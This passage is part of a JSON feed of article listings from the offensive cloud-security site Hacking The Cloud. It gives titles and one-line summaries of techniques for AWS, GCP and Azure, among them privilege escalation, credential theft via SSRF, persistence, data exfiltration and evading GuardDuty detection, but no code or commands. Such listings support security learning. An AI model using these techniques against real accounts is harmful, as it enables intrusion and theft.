"https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles.png", "date_published": "2024-09-01T22:46:15+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/", "title": "CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios", "content_html": "An in-depth explanation of how to still abuse CVE-2024-28056, a vulnerability in AWS Amplify that exposed IAM roles to takeover.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario.png", "date_published": "2024-07-31T20:37:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/", "url": "https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/", "title": "Prevent Expensive AWS API Actions with SCPs", "content_html": "Avoid AWS bill surprises by blocking known-expensive API calls with an SCP.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/block-expensive-actions-with-scps.png", "date_published": "2024-07-30T00:15:57+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/", "url": "https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/", "title": "Enumerate Org/Folder/Project Permissions + Individual Resource Permissions", "content_html": "Brute force the permissions of all resources above to see what permissions you have. Includes example of brute forcing ~9500 permissions at the end. Also introduces tool that passively collections permissions allowed as run (gcpwn)", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_all_permissions.png", "date_published": "2024-07-14T21:08:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/", "url": "https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/", "title": "Discover secrets in public AMIs", "content_html": "How to find public AMIs and get stored secrets.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/discover_secrets_in_public_aims.png", "date_published": "2024-05-28T16:27:11+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/", "url": "https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/", "title": "Enumerate Root User Email Address from the AWS Console", "content_html": "Identify if an email address belongs to the root user of an AWS account.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_root_email_from_console.png", "date_published": "2024-05-21T20:10:23+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/", "title": "Abusing Misconfigured Role Trust Policies with a Wildcard Principal", "content_html": "How to take advantage of misconfigured role trust policies that have wildcard principals.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal.png", "date_published": "2024-01-29T03:39:38+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/", "url": "https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/", "title": "EC2 Privilege Escalation Through User Data", "content_html": "How to escalate privileges on an EC2 instance by abusing user data.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/local_ec2_priv_esc_through_user_data.png", "date_published": "2024-01-21T17:59:06+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/", "url": "https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/", "title": "Bypass Cognito Account Enumeration Controls", "content_html": "Leverage a flaw in Cognito's API to enumerate accounts in User Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/bypass_cognito_user_enumeration_controls.png", "date_published": "2024-01-07T21:28:56+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/", "url": "https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/", "title": "DNS and CloudFront Domain Takeover via Deleted S3 Buckets", "content_html": "How orphaned Route53 records and CloudFront distributions can be taken over if the backing S3 bucket is deleted.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3.png", "date_published": "2023-12-20T14:50:27+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/2023_wrap-up/", "url": "https://hackingthe.cloud/blog/2023_wrap-up/", "title": "2023 Wrap-up", "content_html": "An end of year summary for Hacking the Cloud in 2023.", "image": "https://hackingthe.cloud/assets/images/social/blog/2023_wrap-up.png", "date_published": "2023-12-20T01:25:13+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/", "url": "https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/", "title": "Data Exfiltration through S3 Server Access Logs", "content_html": "Exfiltrate data via S3:GetObject and S3 server access logs.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_server_access_logs.png", "date_published": "2023-12-07T10:12:13+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/", "url": "https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/", "title": "Derive a Principal ARN from an AWS Unique Identifier", "content_html": "How to convert an unique identifier to a principal ARN.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_principal_arn_from_unique_id.png", "date_published": "2023-11-20T00:54:35+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/", "url": "https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/", "title": "Survive Access Key Deletion with sts:GetFederationToken", "content_html": "Use sts:GetFederationToken to maintain access, even if the original IAM credentials are revoked.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken.png", "date_published": "2023-09-25T13:24:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/iam_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/iam_persistence/", "title": "AWS IAM Persistence Methods", "content_html": "A catalog of methods to maintain access to the AWS control plane.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/iam_persistence.png", "date_published": "2023-08-01T01:58:06+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/", "url": "https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/", "title": "Download Tools and Exfiltrate Data with the AWS CLI", "content_html": "Using the AWS CLI as a LOLScript to download and exfiltrate data.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli.png", "date_published": "2023-07-13T03:46:27+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/", "url": "https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/", "title": "Abusing Overpermissioned AWS Cognito Identity Pools", "content_html": "How to take advantage of misconfigured Amazon Cognito Identity Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_identity_pool_excessive_privileges.png", "date_published": "2023-06-20T17:26:14+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/", "url": "https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/", "title": "Abusing Unintended Self-Signup in AWS Cognito", "content_html": "How to take advantage of misconfigured Amazon Cognito User Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_user_self_signup.png", "date_published": "2023-06-20T17:26:14+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/enum_email_addresses/", "url": "https://hackingthe.cloud/azure/enum_email_addresses/", "title": "Unauthenticated Enumeration of Azure Active Directory Email Addresses", "content_html": "Discover how to exploit information disclosure configurations in Azure Active Directory to enumerate valid email addresses.", "image": "https://hackingthe.cloud/assets/images/social/azure/enum_email_addresses.png", "date_published": "2023-04-11T13:31:32+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/", "url": "https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/", "title": "Unauthenticated Enumeration of Google Workspace Email Addresses", "content_html": "Discover how to exploit information disclosure configurations in Google Workspace to enumerate valid email addresses.", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enum_email_addresses.png", "date_published": "2023-04-11T13:31:32+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/", "url": "https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/", "title": "Create a Console Session from IAM Credentials", "content_html": "How to use IAM credentials to create an AWS Console session.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/create_a_console_session_from_iam_credentials.png", "date_published": "2023-02-20T16:48:45+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/", "url": "https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/", "title": "S3 Streaming Copy", "content_html": "Utilizng standard out to standard in with aws-cli utilizing multiple profiles to avoid logging and detection in a victim environment", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_streaming_copy.png", "date_published": "2023-02-10T15:12:48+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/", "url": "https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/", "title": "Exfiltrating S3 Data with Bucket Replication Policies", "content_html": "Backdooring S3 buckets with Bucket Replication Policies.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3-bucket-replication-exfiltration.png", "date_published": "2023-01-26T01:02:06+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/2022_wrap-up/", "url": "https://hackingthe.cloud/blog/2022_wrap-up/", "title": "2022 Wrap-up", "content_html": "An end of year summary for Hacking the Cloud in 2022.", "image": "https://hackingthe.cloud/assets/images/social/blog/2022_wrap-up.png", "date_published": "2022-12-14T03:27:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/", "url": "https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/", "title": "Loot Public EBS Snapshots", "content_html": "How to find and take advantage of exposed EBS snapshots.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/loot_public_ebs_snapshots.png", "date_published": "2022-12-05T02:08:42+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/", "title": "Misconfigured Resource-Based Policies", "content_html": "Common misconfigurations of resource-based policies and how they can be abused.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/index.png", "date_published": "2022-11-24T22:14:38+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/", "title": "Abusing Misconfigured ECR Resource Policies", "content_html": "How to take advantage of misconfigured AWS ECR private repositories.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy.png", "date_published": "2022-11-24T22:14:38+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/", "url": "https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/", "title": "AWS Organizations Defaults & Pivoting", "content_html": "How to abuse AWS Organizations' default behavior and lateral movement capabilities.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_organizations_defaults.png", "date_published": "2022-11-05T00:02:54+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/abusing-container-registry/", "url": "https://hackingthe.cloud/aws/exploitation/abusing-container-registry/", "title": "Abusing Elastic Container Registry for Lateral Movement", "content_html": "With ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/abusing-container-registry.png", "date_published": "2022-10-13T01:37:41+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/v2_new_look/", "url": "https://hackingthe.cloud/blog/v2_new_look/", "title": "Hacking The Cloud v2: New Look", "content_html": "All about the new look for Hacking The Cloud v2.", "image": "https://hackingthe.cloud/assets/images/social/blog/v2_new_look.png", "date_published": "2022-09-18T21:18:30+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/", "url": "https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/", "title": "GCP Goat", "content_html": "GCP Goat is the Vulnerable application for learning the GCP Security", "image": "https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/gcp-goat.png", "date_published": "2022-08-29T00:18:19+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/", "url": "https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/", "title": "Thunder CTF", "content_html": "GCP themed CTF", "image": "https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/thunder_ctf.png", "date_published": "2022-08-29T00:18:19+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/", "url": "https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/", "title": "Hunting GCP Buckets", "content_html": "How to find valid and invalid GCP Buckets using tools", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/gcp-buckets.png", "date_published": "2022-08-29T00:18:19+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/", "url": "https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/", "title": "Privilege Escalation in Google Cloud Platform", "content_html": "Privilege escalation techniques for Google Cloud Platform (GCP)", "image": "https://hackingthe.cloud/assets/images/social/gcp/exploitation/gcp_iam_privilege_escalation.png", "date_published": "2022-08-24T12:25:09+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/", "url": "https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/", "title": "Enumerate Service Account Permissions", "content_html": "Brute force the permissions of a service account to see what you have access to.", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_service_account_permissions.png", "date_published": "2022-08-23T14:34:53+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/", "url": "https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/", "title": "Terraform ANSI Escape", "content_html": "Using ANSI Escape Sequences to Hide Malicious Terraform Code", "image": "https://hackingthe.cloud/assets/images/social/terraform/terraform_ansi_escape_evasion.png", "date_published": "2022-07-09T00:02:47+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/default-account-names/", "url": "https://hackingthe.cloud/gcp/general-knowledge/default-account-names/", "title": "Default Account Information", "content_html": "Default information on how accounts and service accounts exist in GCP", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/default-account-names.png", "date_published": "2022-05-29T13:26:35+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/", "url": "https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/", "title": "Security and Constraints", "content_html": "Security considerations and constraints that are unique to GCP", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/security-and-constraints.png", "date_published": "2022-05-29T13:26:35+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/", "url": "https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/", "title": "Using Stolen IAM Credentials", "content_html": "How to work with stolen IAM credentials and things to consider.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/using_stolen_iam_credentials.png", "date_published": "2022-05-14T21:51:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/", "url": "https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/", "title": "Run Shell Commands on EC2 with Send Command or Session Manager", "content_html": "Leverage privileged access in an AWS account to run arbitrary commands on an EC2 instance.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/run_shell_commands_on_ec2.png", "date_published": "2022-04-11T23:11:43+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/abusing-managed-identities/", "url": "https://hackingthe.cloud/azure/abusing-managed-identities/", "title": "Abusing Managed Identities", "content_html": "Abusing Managed Identities", "image": "https://hackingthe.cloud/assets/images/social/azure/abusing-managed-identities.png", "date_published": "2022-03-27T16:57:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/anonymous-blob-access/", "url": "https://hackingthe.cloud/azure/anonymous-blob-access/", "title": "Anonymous Blob Access", "content_html": "Finding and accessing files stored in Azure Storage Accounts without authentication.", "image": "https://hackingthe.cloud/assets/images/social/azure/anonymous-blob-access.png", "date_published": "2022-03-19T16:57:37+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/soft-deleted-blobs/", "url": "https://hackingthe.cloud/azure/soft-deleted-blobs/", "title": "Soft Deleted Blobs", "content_html": "Recovering and accessing files in private Storage Accounts that have been deleted.", "image": "https://hackingthe.cloud/assets/images/social/azure/soft-deleted-blobs.png", "date_published": "2022-03-17T14:35:54+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/", "url": "https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/", "title": "AWS API Call Hijacking via ACM-PCA", "content_html": "By modifying the route53 entries and utilizing the acm-pca private CA one can hijack the calls to AWS API inside the AWS VPC", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/route53_modification_privilege_escalation.png", "date_published": "2022-03-13T23:45:47+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/capture_the_flag/cicdont/", "url": "https://hackingthe.cloud/aws/capture_the_flag/cicdont/", "title": "CI/CDon't", "content_html": "An AWS/GitLab CICD themed CTF.", "image": "https://hackingthe.cloud/assets/images/social/aws/capture_the_flag/cicdont.png", "date_published": "2022-03-05T04:00:57+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/", "url": "https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/", "title": "Enumerate AWS Account ID from an EC2 Instance", "content_html": "With access to an ec2 instance, you will be able to identify the AWS account it runs in.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_ec2.png", "date_published": "2022-02-27T22:50:13+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/deprecated/whoami/", "url": "https://hackingthe.cloud/aws/deprecated/whoami/", "title": "[Deprecated] Whoami - Get Principal Name From Keys", "content_html": "During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.", "image": "https://hackingthe.cloud/assets/images/social/aws/deprecated/whoami.png", "date_published": "2022-02-09T04:00:32+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/", "url": "https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/", "title": "Modify GuardDuty Configuration", "content_html": "Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/modify-guardduty-config.png", "date_published": "2022-01-30T10:32:26+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/", "url": "https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/", "title": "Terraform Enterprise: Attack the Metadata Service", "content_html": "Leverage a default configuration in Terraform Enterprise to steal credentials from the Metadata Service", "image": "https://hackingthe.cloud/assets/images/social/terraform/terraform_enterprise_metadata_service.png", "date_published": "2021-12-23T21:59:38+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/", "url": "https://hackingthe.cloud/", "title": "Hacking The Cloud", "content_html": "The encyclopedia for offensive security in the cloud", "image": "https://hackingthe.cloud/assets/images/social/index.png", "date_published": "2021-11-30T05:00:09+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/", "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/", "title": "AWS IAM Privilege Escalation Techniques", "content_html": "Common techniques that can be leveraged to escalate privileges in an AWS account.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/iam_privilege_escalation.png", "date_published": "2021-11-04T21:03:24+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/", "url": "https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/", "title": "Metadata in Google Cloud Instances", "content_html": "Information about the data an attacker can access via GCP's API endpoints", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/metadata_in_google_cloud_instances.png", "date_published": "2021-10-24T17:41:56+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/", "title": "Lambda Persistence", "content_html": "How to establish persistence on a Lambda function after getting remote code execution.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/lambda_persistence.png", "date_published": "2021-09-16T15:02:21+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/", "url": "https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/", "title": "Get IAM Credentials from a Console Session", "content_html": "Convert access to the AWS Console into IAM credentials.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/get_iam_creds_from_console_session.png", "date_published": "2021-07-14T20:46:17+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/", "url": "https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/", "title": "[Deprecated] Enumerate Permissions without Logging to CloudTrail", "content_html": "Leverage a bug in the AWS API to enumerate permissions for a role without logging to CloudTrail and alerting the Blue Team.", "image": "https://hackingthe.cloud/assets/images/social/aws/deprecated/stealth_perm_enum.png", "date_published": "2021-05-18T19:13:08+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/", "title": "S3 File ACL Persistence", "content_html": "Maintain access to S3 resources by configuring Access Control Lists associated with S3 Buckets or Objects.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/s3_acl_persistence.png", "date_published": "2021-04-13T02:53:30+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/", "url": "https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/", "title": "Enumerate AWS Account ID from a Public S3 Bucket", "content_html": "Knowing only the name of a public S3 bucket, you can ascertain the account ID it resides in.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_s3_bucket.png", "date_published": "2021-04-03T01:39:08+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/", "url": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/", "title": "Bypass GuardDuty Tor Client Findings", "content_html": "Connect to the Tor network from an EC2 instance without alerting GuardDuty.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-tor-client.png", "date_published": "2021-02-20T04:07:08+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/", "url": "https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/", "title": "Intercept SSM Communications", "content_html": "With access to an EC2 instance you can intercept, modify, and spoof SSM communications.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/intercept_ssm_communications.png", "date_published": "2021-02-06T17:17:59+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/", "url": "https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/", "title": "Role Chain Juggling", "content_html": "Keep your access by chaining assume-role calls.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/role-chain-juggling.png", "date_published": "2021-02-03T03:20:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/", "title": "User Data Script Persistence", "content_html": "Maintain access to an EC2 instance and it's IAM role via user data scripts.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/user_data_script_persistence.png", "date_published": "2021-02-03T03:20:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/", "url": "https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/", "title": "Introduction to the Instance Metadata Service", "content_html": "An introduction to the Instance Metadata Service and how to access it.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/intro_metadata_service.png", "date_published": "2020-12-20T20:10:43+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/", "url": "https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/", "title": "Introduction to User Data", "content_html": "An introduction to EC2 User Data and how to access it.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/introduction_user_data.png", "date_published": "2020-12-20T20:10:43+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/", "url": "https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/", "title": "Brute Force IAM Permissions", "content_html": "Brute force the IAM permissions of a user or role to see what you have access to.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/brute_force_iam_permissions.png", "date_published": "2020-12-20T18:58:26+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/", "url": "https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/", "title": "Get Account ID from AWS Access Keys", "content_html": "Techniques to enumerate the account ID associated with an AWS access key.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/get-account-id-from-keys.png", "date_published": "2020-09-27T16:06:37+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/whoami/", "url": "https://hackingthe.cloud/aws/enumeration/whoami/", "title": "Whoami - Get Principal Name From Keys", "content_html": "During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/whoami.png", "date_published": "2020-08-21T17:00:02+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/", "url": "https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/", "title": "Steal IAM Credentials and Event Data from Lambda", "content_html": "Leverage file read and SSRF vulnerabilities to steam IAM credentials and event data from Lambda.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/lambda-steal-iam-credentials.png", "date_published": "2020-08-12T23:15:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/", "url": "https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/", "title": "Unauthenticated Enumeration of IAM Users and Roles", "content_html": "Discover how to exploit cross-account behaviors to enumerate IAM users and roles in another AWS account without authentication.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enum_iam_user_role.png", "date_published": "2020-08-05T14:32:32+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/", "url": "https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/", "title": "Steal EC2 Metadata Credentials via SSRF", "content_html": "Old faithful; How to steal IAM Role credentials from the EC2 Metadata service via SSRF.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/ec2-metadata-ssrf.png", "date_published": "2020-08-01T17:43:14+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/connection-tracking/", "url": "https://hackingthe.cloud/aws/general-knowledge/connection-tracking/", "title": "Connection Tracking", "content_html": "Abuse security group connection tracking to maintain persistence even when security group rules are changed.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/connection-tracking.png", "date_published": "2020-07-30T23:28:52+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/", 